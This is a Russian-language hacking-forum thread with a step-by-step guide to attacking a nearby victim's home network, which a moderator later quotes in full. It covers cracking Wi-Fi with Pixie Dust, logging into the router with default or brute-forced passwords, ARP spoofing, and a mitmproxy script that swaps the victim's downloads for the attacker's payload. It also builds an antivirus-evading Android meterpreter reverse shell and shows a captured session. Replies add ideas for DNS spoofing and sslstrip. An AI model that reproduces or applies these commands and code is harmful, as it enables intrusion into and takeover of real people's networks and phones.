ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Target Wi-FI pwn -> MITM File injection -> meterpreter session (или еще одна статья по митму) (https://forum.antichat.xyz/showthread.php?t=570446)

swagcat228 06.01.2020 12:18

Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси.
пару строчек кода на питоне, в качестве плагина для митмпрокси

msfvenom -
генератор нашего импланта
msfconsole -хендлер нашего бекконекта
obfuskapk - опенсоурсній криптер для APK

0)

Код:


Код:

ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертві.
Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно [S]выйти из машины и пройтись[/S] вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности.
откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем

# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
если ті на линуксе -
# nano /etc/network/interfaces

Код:


Код:

auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd

если ті не на линуксе - ставь линукс.

Код:

service networking restart
Важный момент - NetworkManager не совместим с networking - это два разных сервиса на Линукс системах. Обычно из коробки они оба присутствуют в системе, но работает гравический вариант - то есть первый. Я же не люблю его, так как он часто мешает и самостоятельно переподключается к т.д. с лучшим сигналом и тому подобное. Так что его мы выключаем, а включаем networking

далее, смотрим что мі в сетке
# ifconfig

Код:


Код:

wlx00c0caa79483: flags=4163  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0

увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n

Код:


Код:

Destination    Gateway        Genmask        Flags Metric Ref    Use Iface
0.0.0.0        192.168.0.1    0.0.0.0        UG    0      0        0 wlx00c0caa79483
169.254.0.0    0.0.0.0        255.255.0.0    U    1000  0        0 wlx00c0caa79483
192.168.0.0    0.0.0.0        255.255.255.0  U    0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.

Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet.

Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24

Код:


Код:

Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:


Код:

┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│    IP ▴      │        MAC        │      Name      │            Vendor            │ Sent  │ Recvd │  Seen  │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤

192.168
.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                              │
0
B  │
0
B  │ 09:17:23 │

192.168
.0.1  │ c4:71:54:c3:9b:a6 │ gateway        │ Tp-Link Technologies Co.,Ltd. │
25
kB │
27
kB │ 09:17:23 │
│              │                  │                │                              │      │      │          │

192.168
.0.2  │
30
:b5:c2:d3:72:8a │                │ Tp-Link Technologies Co.,Ltd. │
32
kB │
28
kB │ 09:17:48 │

192.168
.0.100 │ d0:03:df:1b:0f:b7 │                │ Samsung Electronics Co.,Ltd  │
0
B  │
0
B  │ 09:17:36 │

192.168
.0.102 │ c8:3d:dc:12:35:55 │                │                              │
30
kB │
31
kB │ 09:17:48 │

192.168
.0.103 │ fe:f5:82:11:f9:0f │                │                              │
23
kB │
25
kB │ 09:17:46 │

192.168
.0.104 │ b4:74:43:f9:b8:11 │                │ Samsung Electronics Co.,Ltd  │
38
kB │
41
kB │ 09:17:46 │

192.168
.0.106 │ 9c:4e:36:6b:1d:98 │                │ Intel Corporate              │
0
B  │
37
kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, цель мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py

Python:


Код:

import
mitmproxy
import
subprocess
from
mitmproxy
import
http
def
request
(
flow
:
http
.
HTTPFlow
)
-
>
None
:
if
flow
.
request
.
host
!=
"твой_серверр"
and
flow
.
request
.
pretty_url
.
endswith
(
".exe"
)
or
flow
.
request
.
pretty_url
.
endswith
(
".cab"
)
:
print
(
"[+] О, дивись, під вінду щось качае гад"
)
#flow.request.host = "mitmproxy.org"
front_file
=
flow
.
request
.
pretty_url
+
"#"
flow
.
response
=
mitmproxy
.
http
.
HTTPResponse
.
make
(
301
,
""
,
{
"Location"
:
"http://твой_серверр/EU.exe"
}
)
print
(
"[?] Осьо получи фашист гранату"
)
if
flow
.
request
.
host
!=
"твой_серверр"
and
flow
.
request
.
pretty_url
.
endswith
(
".apk"
)
or
flow
.
request
.
pretty_url
.
endswith
(
".pdf"
)
:
print
(
"[+] О, дивись, під андроїд щось качае гад"
)
front_file
=
flow
.
request
.
pretty_url
+
"#"
flow
.
response
=
mitmproxy
.
http
.
HTTPResponse
.
make
(
301
,
""
,
{
"Location"
:
"http://твой_серверр/calc.apk"
}
)
print
(
"[?] Осьо получи фашист гранату"
)

смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py


ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof

# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf

Bash:


Код:

table
ip
filter
{
chain FORWARD
{
type
filter hook forward priority
0
;
policy accept
;
}
chain INPUT
{
type
filter hook input priority
0
;
policy accept
;
}
chain OUTPUT
{
type
filter hook output priority
0
;
policy accept
;
}
}
table
ip
nat
{
chain PREROUTING
{
type
nat hook prerouting priority -100
;
policy accept
;
iifname
"wlx00c0caa79483"
tcp dport http counter packets
97
bytes
5804
dnat to
192.168
.0.113:http-alt
        iifname
"wlx00c0caa79483"
tcp dport https counter packets
62
bytes
4231
dnat to
192.168
.0.113:http-alt
        iifname
"wlx00c0caa79483"
meta l4proto tcp
ip
daddr
192.168
.0.0/24 tcp dport
80
counter packets
0
bytes
0
dnat to
192.168
.0.113:8080
        iifname
"wlx00c0caa79483"
meta l4proto tcp
ip
daddr
192.168
.0.0/24 tcp dport
443
counter packets
0
bytes
0
dnat to
192.168
.0.113:8080
}
chain INPUT
{
type
nat hook input priority
100
;
policy accept
;
}
chain POSTROUTING
{
type
nat hook postrouting priority
100
;
policy accept
;
oifname
"wlx00c0caa79483"
counter packets
0
bytes
0
masquerade
}
chain OUTPUT
{
type
nat hook output priority -100
;
policy accept
;
}
}

потом пишем:
#nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1

# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:


Код:

any.proxy (not running): A firewall redirection to any custom proxy.

  any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=)
    any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=)
    any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
    any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.

Код:


Код:

192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1

все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk

Код:


Код:

No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk

у нас получается payload.apk, только на него любой АВ будет лаять, как алабай на алкаша в три часа ночи в частном секторе.

по этому мы заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk

Код:


Код:

Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01
set payload android/meterpreter/reverse_tcp

Код:

payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp

Код:


Код:

[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444

все. ждем пока жертва запустит нагрузку.

Код:


Код:

[*] Sending stage (73560 bytes) to 79.110.129.176[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1        meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи

https://forum.antichat.xyz/attachmen...775b220420.png

yarr 16.01.2020 13:40

Перенес в статьи.
На будущее можно добавить больше скриншотов и описаний (теории).

gogo 17.01.2020 11:57

Автор молодец! И понятно и юмор есть (не сухо расписал)

Calibre 18.01.2020 06:12

если ті на линуксе -
# nano /etc/network/interfaces

Код:

auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd

если ті не на линуксе - ставь линукс.

в голос

swagcat228 18.01.2020 21:59

Есть среди нас ребята, кто шарит на питоне?

Есть такая софтина - PEINJECTOR. Очень крутой фреймворк, на лету внедряет имплант в передающийся PE файл. но вот из-за отсутствия поддержки не хочет нормально работать. Если быть точным - там используются куски mitmproxy 0.18. где ещё принципиально другие функции используются. И написан он (митмпрокси, а соответственно peinjector-interceptor) на питоне втором.

Надо подправить под третий. Был бы очень-очень крутецеий тулсет.

b0d 20.01.2020 14:02

Красавчик, очень годно!

Вопрос по митмпрокси. Если я правил ьно понял, то когла жертва пойдет на гугл плей и начнет установку какой-нибудь игрули, то вместо игрули к ней залетит имплатн.
Но ведь сейчас везде ssl, как митмпрокси влезает в ssl
соединение?

kot-gor 20.01.2020 17:36

Очень понравилась статья, так держать.

swagcat228 21.01.2020 03:11

Цитата:


b0d сказал(а):

Красавчик, очень годно!

Вопрос по митмпрокси. Если я правил ьно понял, то когла жертва пойдет на гугл плей и начнет установку какой-нибудь игрули, то вместо игрули к ней залетит имплатн.
Но ведь сейчас везде ssl, как митмпрокси влезает в ssl
соединение?


Не совсем так. Дело в том, что в плеймаркете используются цифровые подписи разработчика, и чексуммы. Даже если взять приложение из плеймаркете, потом его пробэкдорить, например с помощью TheFatRat которое в свою очередь это делает с помощью ApkBackDoor - то когда мы его будем пытаться установить - плеймаркет будет визжать об этом как сучка.

Есть уязвимость в этих цифровых подписях - но версии 1.0. сейчас используется 2.0

Так вот, сам плеймаркет гонит траффик tcp/ip. И для того, что бы это все сработало - нужно либо ждать пока наш поциент скачает что-то через браузер, либо юзать СИ.

Либо, как вариант, эксплуатировать распространенные уязвимости мобильных браузеров.

Есть ещё варианты:
Самый лучший, как по мне, это сделать что-то типа DNS спуфинга + sslstrip - которые сперва скажут что google.com на самом деле находятся по адресу 192.168.0.144, а потом скажут что google.com на самом деле отвечают и работают с портом 80 по протоколу http v1.0

Так вот, в этом случае, по идее, нам не помеха не HSTS не SSL.

Вопрос в том, что Google Chrome , к примеру, если видит , в прямом смысле видит, на загруженной странице сайт гугл , но это не сервер гугл, то он стучит в гугл, и фишинг перестает работать.

То есть, нам нужно куда более глубокого анализировать и оттачивать этот момент.

На самом деле я мечтаю довести эту технику таргетированно проникновения до автоматизма без СИ

pr0phet 21.01.2020 12:31

Цитата:


swagcat228 сказал(а):

Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Єто должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов аиргеддонов вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает куда *****че, чем что-либо
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука
пару строчек кода на питоне.

msfvenom -
генератор нашего импланта
msfconsole -хендлер нашего бекконекта
obfuskapk - опенсоурсній криптер для APK

0)
# ifconfig wlx00c0caa79483 down && maccenger -r wlx00c0caa79483

1) подтягиваемся в салоне своего тазика к окошку жертві, откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем
# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль.
если ті на линуксе -
# nano /etc/network/interfaces

Код:


Код:

auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd

если ті не на линуксе - ставь линукс.

далее, смотрим что мі в сетке
# ifconfig

Код:


Код:

wlx00c0caa79483: flags=4163  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0

увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n

Код:


Код:

Destination    Gateway        Genmask        Flags Metric Ref    Use Iface
0.0.0.0        192.168.0.1    0.0.0.0        UG    0      0        0 wlx00c0caa79483
169.254.0.0    0.0.0.0        255.255.0.0    U    1000  0        0 wlx00c0caa79483
192.168.0.0    0.0.0.0        255.255.255.0  U    0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.
Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24

Код:


Код:

Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:


Код:

┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│    IP ▴      │        MAC        │      Name      │            Vendor            │ Sent  │ Recvd │  Seen  │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤

192.168
.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                              │
0
B  │
0
B  │ 09:17:23 │

192.168
.0.1  │ c4:71:54:c3:9b:a6 │ gateway        │ Tp-Link Technologies Co.,Ltd. │
25
kB │
27
kB │ 09:17:23 │
│              │                  │                │                              │      │      │          │

192.168
.0.2  │
30
:b5:c2:d3:72:8a │                │ Tp-Link Technologies Co.,Ltd. │
32
kB │
28
kB │ 09:17:48 │

192.168
.0.100 │ d0:03:df:1b:0f:b7 │                │ Samsung Electronics Co.,Ltd  │
0
B  │
0
B  │ 09:17:36 │

192.168
.0.102 │ c8:3d:dc:12:35:55 │                │                              │
30
kB │
31
kB │ 09:17:48 │

192.168
.0.103 │ fe:f5:82:11:f9:0f │                │                              │
23
kB │
25
kB │ 09:17:46 │

192.168
.0.104 │ b4:74:43:f9:b8:11 │                │ Samsung Electronics Co.,Ltd  │
38
kB │
41
kB │ 09:17:46 │

192.168
.0.106 │ 9c:4e:36:6b:1d:98 │                │ Intel Corporate              │
0
B  │
37
kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, жерту мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py

Python:


Код:

import
mitmproxy
import
subprocess
from
mitmproxy
import
http
def
request
(
flow
:
http
.
HTTPFlow
)
-
>
None
:
if
flow
.
request
.
host
!=
"твой_серверр"
and
flow
.
request
.
pretty_url
.
endswith
(
".exe"
)
or
flow
.
request
.
pretty_url
.
endswith
(
".cab"
)
:
print
(
"[+] О, дивись, під вінду щось качае гад"
)
#flow.request.host = "mitmproxy.org"
front_file
=
flow
.
request
.
pretty_url
+
"#"
flow
.
response
=
mitmproxy
.
http
.
HTTPResponse
.
make
(
301
,
""
,
{
"Location"
:
"http://твой_серверр/EU.exe"
}
)
print
(
"[?] Осьо получи фашист гранату"
)
if
flow
.
request
.
host
!=
"твой_серверр"
and
flow
.
request
.
pretty_url
.
endswith
(
".apk"
)
or
flow
.
request
.
pretty_url
.
endswith
(
".pdf"
)
:
print
(
"[+] О, дивись, під андроїд щось качае гад"
)
front_file
=
flow
.
request
.
pretty_url
+
"#"
flow
.
response
=
mitmproxy
.
http
.
HTTPResponse
.
make
(
301
,
""
,
{
"Location"
:
"http://твой_серверр/calc.apk"
}
)
print
(
"[?] Осьо получи фашист гранату"
)

смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py


ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof

# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legay и так далее. они все уже deprecated и скоро работать перетанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf

Bash:


Код:

table
ip
filter
{
chain FORWARD
{
type
filter hook forward priority
0
;
policy accept
;
}
chain INPUT
{
type
filter hook input priority
0
;
policy accept
;
}
chain OUTPUT
{
type
filter hook output priority
0
;
policy accept
;
}
}
table
ip
nat
{
chain PREROUTING
{
type
nat hook prerouting priority -100
;
policy accept
;
iifname
"wlx00c0caa79483"
tcp dport http counter packets
97
bytes
5804
dnat to
192.168
.0.113:http-alt
        iifname
"wlx00c0caa79483"
tcp dport https counter packets
62
bytes
4231
dnat to
192.168
.0.113:http-alt
        iifname
"wlx00c0caa79483"
meta l4proto tcp
ip
daddr
192.168
.0.0/24 tcp dport
80
counter packets
0
bytes
0
dnat to
192.168
.0.113:8080
        iifname
"wlx00c0caa79483"
meta l4proto tcp
ip
daddr
192.168
.0.0/24 tcp dport
443
counter packets
0
bytes
0
dnat to
192.168
.0.113:8080
}
chain INPUT
{
type
nat hook input priority
100
;
policy accept
;
}
chain POSTROUTING
{
type
nat hook postrouting priority
100
;
policy accept
;
oifname
"wlx00c0caa79483"
counter packets
0
bytes
0
masquerade
}
chain OUTPUT
{
type
nat hook output priority -100
;
policy accept
;
}
}

потом пишем:
#nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1

# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:


Код:

any.proxy (not running): A firewall redirection to any custom proxy.

  any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=)
    any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=)
    any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
    any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.

Код:


Код:

192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1

все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk

Код:


Код:

No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk

у нас получается payload.apk, только на него любой АВ будет лаять, как на солевого наркомана на 5х сутках. негоже.

по єтому мі заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk

Код:


Код:

Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01
set payload android/meterpreter/reverse_tcp

Код:

payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp

Код:


Код:

[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444

все. ждем пока жертва запустит нагрузку.

Код:


Код:

[*] Sending stage (73560 bytes) to 79.110.129.176[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1        meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи


Уважаемый Автор.
Ваша статья в целом не плоха - но не могли бы вы воздержаться от употребления нецензурной брани и школьного сленга в её изложении?
К сожалению, отправлена в песочницу для исправления.

swagcat228 21.01.2020 17:54

Я Вас услышал.
К сожалению, я не вижу опции редактирования поста.

Как мне это исправить?


Время: 07:34